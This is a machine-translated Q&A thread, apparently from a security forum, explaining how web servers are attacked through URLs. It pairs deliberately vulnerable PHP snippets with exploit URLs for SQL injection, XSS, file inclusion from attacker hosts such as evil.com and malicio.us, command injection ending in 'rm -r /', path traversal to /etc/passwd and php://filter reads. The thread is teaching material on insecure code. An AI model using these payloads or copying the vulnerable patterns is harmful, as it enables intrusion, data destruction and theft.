我特别在谈论运行Unix的Web服务器。我一直对黑客如何获得切入点感到好奇。我的意思是,当他们进入服务器的唯一输入方法是URL时,我看不到黑客如何入侵该网页。我一定会错过一些东西,因为我看不到黑客如何仅通过更改URL就能获得对服务器的访问权限。
我的意思是访问点。黑客进入服务器的方式。
我可以举一个黑客如何进入Web服务器的入口的示例吗?任何C语言都是可以接受的。我绝对没有黑客经验
一个简单的例子将不胜感激。
#1 楼
仅通过更改URL即可工作的黑客一个合法的例子和一个恶意示例
某些示例需要URL编码才能起作用(通常由浏览器自动完成)
SQL注入
代码:
$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--
跨站点脚本(XSS)
代码:
$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";
利用(注册者在BeEF中以僵尸身份访问用户):
example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />
远程代码执行
代码(Tylerl的示例):
<? include($_GET["module"].".php"); ?>
example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript
命令注入
代码:
<?php
echo shell_exec('cat '.$_GET['filename']);
?>
exploit(尝试删除根目录中的所有文件):
example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /
代码注入
代码:
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");
?>
利用漏洞(注入phpinfo()命令,该命令将显示非常有用的攻击)屏幕上的信息):
example.com/?arg=1
example.com/?arg=1; phpinfo()
LDAP注入
代码:
<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>
利用(登录时不知道管理员p密码):
example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*
路径遍历
代码:
<?php
include("./" . $_GET['page']);
?>
利用(获取/ etc / passwd):
example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd
重定向/转发攻击
代码:
<?php
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
?>
example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php
失败限制URL访问
代码:
N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other
means discover the location of content that should only be accessible while logged in.
利用:
example.com/users/showUser.php
example.com/admins/editUser.php
跨站点请求伪造
代码:
N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages.
exploit:
Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />
缓冲区溢出(技术上是通过访问URL,但通过metasploit实现的
代码:
N/A. Vulnerability in the webserver code itself. Standard buffer overflow
Exploit(Metasploit + meterpreter吗?):
http://www.exploit-db.com/exploits/16798/
评论
极好的答案,您是否考虑过将其发布为Wiki帖子,以便其他人可以添加其他详细信息,等等:)
– Stuart Blackler
2012年1月31日22:56
遗憾的是,大多数学校都没有在任何编程课程中都包含此内容。我必须自己动手做这件事,并经常帮助同学们保护自己的一面(并且不得不破解一个教师网站来证明我的观点)
–HTDutchy
2012年2月1日在9:47
@Pacerier大多数漏洞利用都是某人在某个地方搞砸造成的。只需要一个监督就可以使攻击者进入原本安全的站点。
–丹在火光中摆弄
2012年2月1日at 13:36
@Pacerier验证输入要求程序员这样做。应当指出,“输入验证”是OWASP Top 10一半的根本原因
–斯科特包
2012年2月1日14:40
@Pacerier应该很容易;但是未经验证的用户输入仍然是成功利用渠道的最重要事实,这意味着仍然有大量自称是Web开发人员的人无法正确使用它。
–丹在火光中摆弄
2012年2月1日于15:51
#2 楼
(当前)最常见的方法是通过PHP应用程序中的漏洞。可以通过多种方法来实现此目的,但这是一个简单易行的方法:想象一下,毫无戒心的网站所有者决定在其代码中使用快捷方式,这样
http://example.com/site.php?module=xyz
实际上首先会加载一些模板外壳并然后运行“ xyz.php”以填写内容。因此,也许他写了这样的东西:<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>
然后,黑客使用以下URL访问该站点:
http://example.com/site.php?module=http://malicio.us/evilprogram
现在,而不是加载他的本地脚本PHP熄灭并下载
http://malicio.us/evilprogram.php
并执行它-运行攻击者想要的任何PHP代码。也许发送垃圾邮件,也许安装后门外壳,也许在配置文件中搜索密码。字面上有成千上万种黑客入侵网站的方法,每种方法都非常新颖。几乎在所有情况下,他们都涉及一个程序员,他们没有考虑过程序的所有可能输入以及他们可能产生的意外影响。
评论
您击败了我(特别是“有成千上万的方式”),因此您获得+1,但我想补充一点,这里还有另一个示例:greensql.com/articles/…
–大卫·斯特拉顿(David Stratton)
2012年1月31日19:43
+1阐明为什么有人会使用疯狂的include($ _ GET ['anything'])
–耶尔顿
2012年2月3日15:59
@JYelton:我已经在客户编写的代码中多次看到这一点。当有人与“所以我们开发了自己的CMS ...”开始对话时,我有些畏缩。
– tylerl
2012年2月3日在20:06
#3 楼
有两种查看方式,您可以专注于服务器本身,也可以专注于服务器正在运行的Web应用程序。作为服务器,它可以具有运行服务的开放端口可以连接并访问服务器。通过使用已知漏洞,您可以获取root用户访问权限。例如,某些用于Unix的FTP服务器具有可被Metasploit之类的工具利用以获取根shell的漏洞。
作为应用程序,有太多方法可以利用编写不良或配置错误的应用程序。例如,如果将SQL查询作为GET传递,则实际上可以操纵URL本身以执行SQL Injection攻击并转储整个数据库。例如(取决于站点的编码):
http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT用户名,密码来自用户
同样,您将涉及一个广泛的主题,希望这些可以帮助您集中精力进行下一步。
评论
我同意有两个访问点;服务器中的弱应用程序或漏洞。但是,对于具有强密码短语的最新服务器(例如仅运行apache2来显示来自稳定ubuntu发行版的静态html页面和sshd,并具有所有安全性),不太可能被盗用(除了说ddos会使服务器过载)。站点;或从键盘记录的计算机登录的人),尤其是在采取预防措施的情况下。对于成熟的软件,零日漏洞虽然确实存在(特别是在前沿软件中),但在野外却很少见。
– jimbob博士
2012年2月1日在16:49
OP正在寻找获得服务器访问权限的方法。针对服务器本身及其运行的服务是一种可行的方法。我同意应该配置Web服务器以限制这种攻击面,但是这取决于人们,而且人们容易出错。例如,我能够在我们网络上的全新Pitney Bowes邮件机上立足,因为他们没有更新OS服务的过程。它是一种成熟的,无出血的边缘软件,每个人都可以购买到。
– schroeder♦
2012年2月1日于17:07
#4 楼
简短答案这可能不是正确的问题。
...黑客...
...是社会工程师。
/>
他们对人与人的互动比与计算机的互动更感兴趣。黑客宁愿您将密码交给他,也不必强行使用它。
...正在寻求知识...
...并且知道知识就是力量。黑客比实际使用它更感兴趣于获取您的信用卡号。
...以道德为借口...
...不是一个原因。这就是为什么许多黑客会利用以道德为导向的政治事件进行公开的原因。他们知道他们可以利用道德在公众眼中为自己的行为辩解。
...除非他愿意,否则他不会被抓住。
大多数时候。只是在不考虑隐身或匿名的情况下直接跳进去的Wannabe黑客在黑客社区中被称为“脚本小子”或“滑子”。最有可能比黑客更多地犯规,这很可能是您最大的烦恼。
...不需要任何特殊工具或后门。
您提供的前端可能就足够了。
长答案
您可以保护自己免受Metasploit中的攻击。黑客会直接走进前门-即使不是真的,也只是字面上的意思。
您想要的答案
就像人们不喜欢答案一样我所给的就足够了,我会按照您想要的方式再给您一些东西。
黑客喜欢保持匿名。任何攻击的第一步都是将一系列代理(例如SOCKS代理,僵尸或只是构成僵尸网络的简单僵尸)串联在一起。有几种方法可以解决此问题,但是为了讨论起见,让我们给出一些死的代理。前往pastebin.com并搜索
8080
。这是Web代理的常见端口。向下滚动结果,直到找到IP地址列表,然后单击以查看结果。您应该拥有一长串的Web代理。我可以保证,即使不是全部,大多数也会死。抱歉,这不是黑客教程。下一步是收集有关目标的看似琐碎的信息。黑客使用他的代理运行portcans,然后探查他发现的任何服务。有网站吗?让我们来探索它。有一个MySQL服务器?让我们看看它是什么版本。运行SSH?让我们看看它是否接受文本密码或仅限于证书。
然后,黑客坐下,查看他所收集的内容,并确定系统的最弱点。根据系统的大小,他可能会回头再进行更多的探查,如果有更多的探查,并且他觉得自己还没有获得足够好的弱点。弱点不必一定是真正的安全“漏洞”:它必须是最弱的环节。也许您的FTP服务器无法防止重击(重复登录尝试)。也许您的Web服务器上有一堆表格或可能被利用的URL。这些值得进一步研究。
如果有必要,攻击者可能会编写脚本或程序来进行最终攻击,尽管并非总是如此。大多数弱点都可以利用现有工具加以利用,因此对于现代黑客而言,这通常是不必要的。但是,黑客有时会发现软件中的新安全漏洞,在这种情况下,他们有时需要编写特殊的工具来利用所述软件。
显而易见的攻击程序的一个很好的例子是,该程序被用来在名为Terraria的游戏上引起服务器故障。这不是其最初的目的,但是因为它确实暴露了服务器软件中的各种漏洞,所以它确实倾向于被其他人使用。我用C#编写的。源代码可在GitHub上获得。该漏洞利用字节码操作来修改现有客户端以发送恶意数据。服务器不希望该数据,并且会以其无法正常工作的方式做出反应。发现像这样的漏洞利用程序可以像对目标软件进行逆向工程一样简单-我之所以说很简单,是因为使用C#和Java等现代反射语言,这已变得越来越容易。只需单击一下按钮,.NET Reflector(收费)和dotPeek(暂时免费)等程序就可以实现此目的。然后,受过充分训练的C#程序员可以观察代码,确定其功能,并编写程序来更改此功能。
评论
我认为这不能回答所提出的问题。是否是“正确的”问题是另一回事,但是如果您正在回答,我相信您应该尝试回答所提出的问题。
– Yooav Aner
2012年2月4日在20:18
好吧,最后我确实回答了这个问题。我只是导致了它。我想给我的答案一些背景。
–辛尼泽
2012年2月4日在22:56
您确实回答了,但没有回答。据我所知,问题主要是关于侵入服务器并寻找具体示例(例如,“我专门谈论Web服务器,运行Unix”)。
– Yooav Aner
2012年2月4日23:46
@YoavAner好吧,我想提供上下文,以便我可以解释为什么我没有提供示例。我没有提供样本的原因是我的答案并不能真正保证一个样本。当我想象一个黑客时,我看到有人刚走进建筑物,经过安全检查,就进入服务器机房,然后坐在控制台上。
–辛尼泽
2012年2月5日在6:24
我添加了每个人都想要的答案。希望这足够了。
–辛尼泽
2012年2月5日下午6:54
#5 楼
我的一个朋友有一份合同要在一个网站上工作。在他这样做的同时,他发现黑客进入了网站并做了他不喜欢的事情。在查看了一些日志文件后,他注意到“黑客”通过搜索mysql错误找到了该站点。当您能够注入sql时,您可以做任何想做的事情,例如创建一个帐户。如果您可以上传文件(尤其是php),则可以执行它。如果可以执行它,即使没有在linux / windows服务器上的帐户,也可能造成更大的破坏,例如在服务器文件系统上读取/写入文件。
另一种技术正在侵入数据库,寻找使用密码(尤其是未进行哈希处理)时,尝试建立到该站点相同ip地址的ssh或ftp连接并尝试使用用户名/密码组合。
此外,您也不需要闯入服务器被黑客入侵。我遇到的一个人告诉我一个故事,他的服务器上如何安装过时的软件。攻击者使用它上载并执行他们自己的php文件,该文件向每个index.php和index.html文件中注入了一行代码(以添加iframe)。基本上没有人能够访问该站点。它要么重定向,要么弹出很多窗口。
评论
使用具有已知漏洞的旧软件仍在“闯入系统”,与他们可以做的相比,您描述的是温和的。
–猎犬
2012年2月3日14:22
#6 楼
我们有多少次没有密码或“ Joes”的登录信息?不需要Metasploit知识或任何真正具有异国情调的知识就可以进入前门。有点像在寒冷的早晨坐在车道上的行驶中的汽车“请偷走我”。#7 楼
仅举几个例子供您考虑。下面是泰勒的例子:
<?php
if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>
攻击向量:
http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure
由于缺乏任何安全编码,这是一个包含base64攻击的本地文件,攻击者几乎可以读取以[.php]结尾的站点或服务器上的所有文件,在这种情况下,读取configure.php文件的文件内容,PHP返回整个文件内容的base64_encode,可以很容易地将其解码回可读的文本。
格式错误的URL不必寻求输入安全性验证漏洞。
在许多Web电子商务站点中,$ PHP_SELF代码错误报告了文件名,其中yoursite.com/admin/administrators.php、$PHP_SELF将文件名报告为administrators.php,但是如果login.php是像admin / administrators.php / login.php这样附加的,然后$ PHP_SELF误报login.php为文件名而不是administrators.php。
因此,例如,如果管理会话验证qu在这个令人振奋的示例中要求输入以下内容:
*如果(不是有效的管理会话)和($ PHP_SELF不是= to login.php),然后重定向到login.php *
该页面永远不会重定向到login.php,因为$ PHP_SELF错误地报告了真实的文件名,因此攻击者无需正确的凭据即可访问administrators.php文件。
评论
我认为您需要在该网站上进行一些基本信息搜索。谷歌搜索也可能会有所帮助。搜索'exploit''OWASP''端口扫描'您猜密码了。
我看过很多电影,所以我明白了这部电影,只需使用hack.exe即可,无论您以为hack.exe都能做到。相同的hack.exe可以用于多个任务(也没有任何输入参数)。
我在CSI上看到了这一点。您使用Visual Basic制作GUI用户界面。
我忍不住要发布有关黑客的“教程” ... youtube.com/watch?v=u8qgehH3kEQ